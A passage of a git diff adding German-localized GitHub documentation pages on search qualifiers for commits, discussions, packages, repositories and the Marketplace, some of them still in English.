+| <code>committer-name:<em>NAME</em></code> | [**committer-name:wanstrath**](https://github.com/search?q=committer-name%3Awanstrath&type=Commits) sucht nach Commits mit „wanstrath“ im Committernamen.
+
+Die Qualifizierer `author-email` und `committer-email` suchen anhand der vollständigen E-Mail-Adresse des Autors oder Committers nach Commits.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>author-email:<em>EMAIL</em></code> | [ **author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) sucht nach Commits, die von chris@github.com erstellt wurden.
+| <code>committer-email:<em>EMAIL</em></code> | [ **committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) sucht nach Commits, die von chris@github.com committet wurden.
+
+## Suche nach Verfassungs- oder Commit-Datum
+
+Verwende die Qualifizierer `author-date` und `committer-date`, um nach Commits zu suchen, die im angegeben Datumsbereich erstellt oder committet wurden.
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>author-date:<em>YYYY-MM-DD</em></code> | [**author-date:&lt;2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) sucht nach Commits, die vor dem 01.01.2016 erstellt wurden.
+| <code>committer-date:<em>YYYY-MM-DD</em></code> | [**committer-date:&gt;2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) sucht nach Commits, die nach dem 01.01.2016 committet wurden.
+
+## Merge-Commits filtern
+
+Der Qualifizierer `merge` filtert nach Mergecommits.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) sucht nach Mergecommits.
+| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) sucht nach Nichtmergecommits.
+
+## Suche nach Hash
+
+Der Qualifizierer `hash` sucht nach Commits mit dem angegebenen SHA-1-Hash.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>hash:<em>HASH</em></code> | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) sucht nach Commits mit dem Hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+
+## Suche nach übergeordnetem Commit
+
+Der Qualifizierer `parent` sucht nach Commits, deren übergeordneten Commits den angegebenen SHA-1-Hash enthalten.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>parent:<em>HASH</em></code> | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) sucht nach untergeordneten Commits von Commits mit dem Hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`.
+
+## Suche nach Struktur
+
+Der Qualifizierer `tree` sucht nach Commits mit dem angegebenen SHA-1-Git-Strukturhash.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>tree:<em>HASH</em></code> | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) sucht nach Commits, die sich auf den Strukturhash `99ca967` beziehen.
+
+## Suche innerhalb der Repositorys eines Benutzers oder einer Organisation
+
+Verwende die Qualifizierer `user` oder `org`, um in allen Repositorys nach Commits im Besitz eines bestimmten Benutzers oder einer bestimmten Organisation zu suchen. Verwende den Qualifizierer `repo`, um in einem bestimmten Repository nach Commits zu suchen.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) sucht nach Commitmeldungen mit dem Wort „gibberish“ in Repositorys im Besitz von @defunkt.
+| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) sucht nach Commitmeldungen mit dem Wort „test“ in Repositorys im Besitz von @github.
+| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) sucht nach Commitmeldungen mit dem Wort „language“ im Repository „gibberish“ von @defunkt.
+
+## Filtern nach der Sichtbarkeit von Repositorys
+
+Der Qualifizierer `is` sucht nach Commits von Repositorys mit der angegebenen Sichtbarkeit. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+
+| Qualifizierer  | Beispiel
+| ------------- | ------------- |
+{%- ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) sucht nach Commits in öffentliche Repositorys.
+{%- endif %} {%- ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) sucht nach Commits in interne Repositorys.
+{%- endif %} | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) sucht nach Commits in private Repositorys.
+
+## Weiterführende Themen
+
+- [Sortieren von Suchergebnissen](/search-github/getting-started-with-searching-on-github/sorting-search-results/)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-discussions.md b/translations/de-DE/content/search-github/searching-on-github/searching-discussions.md
new file mode 100644
index 0000000000..2f60f96278
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-discussions.md
@@ -0,0 +1,100 @@
+---
+title: Durchsuchen von Diskussionen
+intro: 'Du kannst auf {% data variables.product.product_name %} nach Diskussionen suchen und die Ergebnisse mit Suchqualifizierern einschränken.'
+versions:
+  feature: discussions
+topics:
+  - GitHub search
+redirect_from:
+  - /github/searching-for-information-on-github/searching-discussions
+  - /github/searching-for-information-on-github/searching-on-github/searching-discussions
+ms.openlocfilehash: 4a1224d05cd78a0b701e7bc2a9e93a1c5a837bcd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147410451'
+---
+## Informationen zum Suchen nach Diskussionen
+
+Du kannst global im gesamten {% data variables.product.product_name %} oder innerhalb einer bestimmten Organisation oder eines Repositorys nach Diskussionen suchen. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github).
+
+{% data reusables.search.syntax_tips %}
+
+## Suche nach Titel, Textteil oder Kommentaren
+
+Mit dem `in`-Qualifizierer kannst du deine Suche nach Diskussionen auf den Titel, den Text oder die Kommentare einschränken. Du kannst auch Qualifizierer kombinieren, um eine Kombination aus Titel, Text oder Kommentaren zu durchsuchen. Wenn du den `in`-Qualifizierer auslässt, durchsucht {% data variables.product.product_name %} den Titel, den Text und die Kommentare.
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| `in:title` | [**Willkommen in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) entspricht Diskussionen mit dem Wort „Willkommen“ im Titel. |
+| `in:body` | [**Onboarding in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) entspricht Diskussionen mit dem Wort „Onboarding“ im Titel oder im Text. |
+| `in:comments` | [**Danke in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) entspricht Diskussionen mit dem Wort „Danke“ in den Kommentaren zur Diskussion. |
+
+## Suche innerhalb der Repositorys eines Benutzers oder einer Organisation
+
+Wenn du in allen Repositorys, die einem bestimmten Benutzer oder einer bestimmten Organisation gehören, nach Diskussionen suchen möchtest, kannst du den Qualifizierer `user` oder `org` verwenden. Um Diskussionen in einem bestimmten Repository zu durchsuchen, kannst du den `repo`-Qualifizierer verwenden.
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) entspricht Diskussionen mit dem Wort „Feedback“ aus Repositorys, die @octocat gehören. |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) entspricht Diskussionen in Repositorys, die der GitHub-Organisation gehören. |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) entspricht Diskussionen aus dem Node.js-Runtimeprojekt von @nodejs, die vor Januar 2021 erstellt wurden. |
+
+## Filtern nach der Sichtbarkeit von Repositorys
+
+Mit dem `is`-Qualifizierer kannst du nach der Sichtbarkeit des Repositorys filtern, das die Diskussionen enthält. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+
+| Qualifizierer | Beispiel | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) entspricht Diskussionen in öffentlichen Repositorys.{% endif %}{% ifversion ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) entspricht Diskussionen in internen Repositorys.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) entspricht Diskussionen, die das Wort „Tiramisu“ in privaten Repositorys enthalten, auf die du zugreifen kannst.
+
+## Suche nach Autor
+
+Der `author`-Qualifizierer findet Diskussionen, die von einem bestimmten Benutzer erstellt wurden.
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) entspricht Diskussionen mit dem Wort „cool“, die von @octocat erstellt wurden. |
+| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) entspricht Diskussionen, die von @octocat erstellt wurden und das Wort „Bootstrap“ im Text enthalten. |
+
+## Suche nach Kommentierer
+
+Mit dem `commenter`-Qualifizierer wird nach Diskussionen gesucht, die einen Kommentar von einem bestimmten Benutzer enthalten.
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) entspricht Diskussionen in Repositorys, die GitHub gehören, das Wort „github“ enthalten und über einen Kommentar von @becca verfügen.
+
+## Suchen nach einem an einer Diskussion beteiligten Benutzer
+
+Du kannst den `involves`-Qualifizierer verwenden, um Diskussionen zu finden, die einen bestimmten Benutzer betreffen. Der Qualifizierer gibt Diskussionen zurück, die von einem bestimmten Benutzer erstellt wurden, den Benutzer erwähnen oder Kommentare vom Benutzer enthalten. Der `involves`-Qualifizierer ist ein logisches OR zwischen den Qualifizierern `author`, `mentions` und `commenter` für einen einzelnen Benutzer.
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** entspricht Diskussionen, an denen entweder @becca oder @octocat beteiligt ist.
+| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) entspricht Diskussionen, an denen @becca beteiligt ist und die nicht das Wort „Beta“ im Text enthalten.
+
+## Suche nach Anzahl der Kommentare
+
+Du kannst den Qualifizierer `comments` zusammen mit den Qualifizierern für „größer als“, „kleiner als“ oder bestimmte Bereiche verwenden, um nach der Anzahl von Kommentaren zu suchen. Weitere Informationen findest du unter [Grundlagen der Suchsyntax](/github/searching-for-information-on-github/understanding-the-search-syntax).
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) entspricht Diskussionen mit mehr als 100 Kommentaren.
+| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) gleicht Diskussionen mit 500 bis 1.000 Kommentaren ab.
+
+## Suchen nach dem Datum der Erstellung oder der letzten Aktualisierung
+
+Du kannst Diskussionen basierend auf Erstellungszeiten oder dem Zeitpunkt der letzten Aktualisierung filtern. Für die Diskussionserstellung kannst du den `created`-Qualifizierer verwenden. Um herauszufinden, wann eine Diskussion zuletzt aktualisiert wurde, verwende den `updated`-Qualifizierer.
+
+Beide Qualifizierer akzeptieren ein Datum als Parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifizierer | Beispiel |
+| :- | :- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) entspricht Diskussionen, die nach dem 15. November 2020 erstellt wurden.
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) entspricht Diskussionen mit dem Begriff „weird“ im Text, die nach Januar 2020 aktualisiert wurden.
+
+## Weitere Informationsquellen
+
+- [Sortieren von Suchergebnissen](/search-github/getting-started-with-searching-on-github/sorting-search-results/)
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-for-packages.md b/translations/de-DE/content/search-github/searching-on-github/searching-for-packages.md
new file mode 100644
index 0000000000..6b25477bc9
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-for-packages.md
@@ -0,0 +1,45 @@
+---
+title: Searching for packages
+intro: 'You can search for packages on {% data variables.product.product_name %} and narrow the results using search qualifiers.'
+product: '{% data reusables.gated-features.packages %}'
+permissions: Anyone can search for packages they have access to.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+redirect_from:
+  - /github/searching-for-information-on-github/searching-for-packages
+  - /github/searching-for-information-on-github/searching-on-github/searching-for-packages
+---
+{% data reusables.package_registry.packages-ghes-release-stage %}
+
+## About searching for packages
+
+You can search for packages globally across all of {% data variables.product.product_name %}, or search for packages within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+{% ifversion ghes %}
+You can only search for packages on {% data variables.product.product_name %}, not {% data variables.product.prodname_dotcom_the_website %}, even if {% data variables.product.prodname_github_connect %} is enabled.
+{% endif %}
+
+{% data reusables.search.syntax_tips %}
+
+## Searching within a user's or organization's packages
+
+To find packages owned by a certain user or organization, use the `user` or `org` qualifier.
+
+| Qualifier        | Example
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**`user:codertocat`**](https://github.com/search?q=user%3Acodertocat&type=RegistryPackages) matches packages owned by @codertocat
+| <code>org:<em>ORGNAME</em></code> | [**`org:github`**](https://github.com/search?q=org%3Agithub&type=RegistryPackages) matches packages owned by the {% data variables.product.prodname_dotcom %} organization
+
+## Filtering by package visibility
+
+To filter your search by whether a package is public or private, use the `is` qualifier.
+
+| Qualifier  | Example |
+| ------------- | -------------
+| `is:public`| [**is:public angular**](https://github.com/search?q=is%3Apublic+angular&type=RegistryPackages) matches public packages that contain the word "angular"
+| `is:private`| [**is:private php**](https://github.com/search?q=is%3Aprivate+php&type=RegistryPackages) matches private packages that contain the word "php"
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-for-repositories.md b/translations/de-DE/content/search-github/searching-on-github/searching-for-repositories.md
new file mode 100644
index 0000000000..69c5aeed59
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-for-repositories.md
@@ -0,0 +1,206 @@
+---
+title: Searching for repositories
+intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.'
+redirect_from:
+  - /articles/searching-repositories
+  - /articles/searching-for-repositories
+  - /github/searching-for-information-on-github/searching-for-repositories
+  - /github/searching-for-information-on-github/searching-on-github/searching-for-repositories
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+shortTitle: Search for repositories
+---
+You can search for repositories globally across all of {% data variables.location.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+
+{% data reusables.search.syntax_tips %}
+
+## Search by repository name, description, or contents of the README file
+
+With the `in` qualifier you can restrict your search to the repository name, repository description, repository topics, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name, description, and topics are searched.
+
+| Qualifier  | Example
+| ------------- | -------------
+| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name.
+| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description.
+| `in:topics`  | [**jquery in:topics**](https://github.com/search?q=jquery+in%3Atopics&type=Repositories) matches repositories labeled with "jquery" as a topic.
+| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file.
+| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name.
+
+## Search based on the contents of a repository
+
+You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)."
+
+Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file.
+
+## Search within a user's or organization's repositories
+
+To search in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks.
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub.
+
+## Search by repository size
+
+The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly.
+| | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB.
+| | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB.
+| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB.
+
+## Search by number of followers
+
+You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+
+| Qualifier        | Example
+| ------------- | -------------
+| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node".
+| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter."
+
+## Search by number of forks
+
+The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks.
+| | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks.
+| | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks.
+| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks.
+
+## Search by number of stars
+
+You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars.
+| | [**stars:10..20 size:<1000**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB.
+| | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP.
+
+## Search by when a repository was created or last updated
+
+You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository.
+
+Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011.
+| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013.
+| | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks.
+
+## Search by language
+
+You can search repositories based on the language of the code in the repositories.
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>language:<em>LANGUAGE</em></code> | [**`rails language:javascript`**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript.
+
+## Search by topic
+
+You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>topic:<em>TOPIC</em></code> | [**`topic:jekyll`**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "Jekyll."
+
+## Search by number of topics
+
+You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics.
+| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics.
+
+{% ifversion fpt or ghes or ghec %}
+
+## Search by license
+
+You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0.
+
+{% endif %}
+
+## Search by repository visibility
+
+You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+
+| Qualifier  | Example
+| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
+| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %}
+| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %}
+| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
+
+{% ifversion fpt or ghec %}
+
+## Search based on whether a repository is a mirror
+
+You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME."
+|  `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME."
+
+{% endif %}
+
+## Search based on whether a repository is archived
+
+You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME."
+|  `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME."
+
+{% ifversion fpt or ghec %}
+
+## Search based on number of issues with `good first issue` or `help wanted` labels
+
+You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| `good-first-issues:>n` | [**`good-first-issues:&gt;2 javascript`**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript."
+| `help-wanted-issues:>n`|[**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React."
+
+## Search based on ability to sponsor
+
+You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
+
+You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)."
+
+| Qualifier  | Example
+| ------------- | -------------
+| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile.
+| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.
+
+{% endif %}
+
+## Further reading
+
+- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"
diff --git a/translations/de-DE/content/search-github/searching-on-github/searching-github-marketplace.md b/translations/de-DE/content/search-github/searching-on-github/searching-github-marketplace.md
new file mode 100644
index 0000000000..555820d518
--- /dev/null
+++ b/translations/de-DE/content/search-github/searching-on-github/searching-github-marketplace.md
@@ -0,0 +1,48 @@
+---
+title: Durchsuchen des GitHub Marketplace
+intro: 'Du kannst nach Apps und Aktionen suchen, die auf {% data variables.product.prodname_marketplace %} verfügbar sind.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+redirect_from:
+  - /github/searching-for-information-on-github/searching-github-marketplace
+  - /github/searching-for-information-on-github/searching-on-github/searching-github-marketplace
+shortTitle: Search GitHub Marketplace
+ms.openlocfilehash: fed7320cfd88e40f227d61f9cad361947823f0cf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106031'
+---
+## Informationen zur Suche auf {% data variables.product.prodname_marketplace %}
+
+Du kannst Apps und Aktionen auf {% data variables.product.prodname_marketplace %} auf zwei verschiedene Arten finden:
+
+- Suche in {% data variables.product.prodname_marketplace %}.
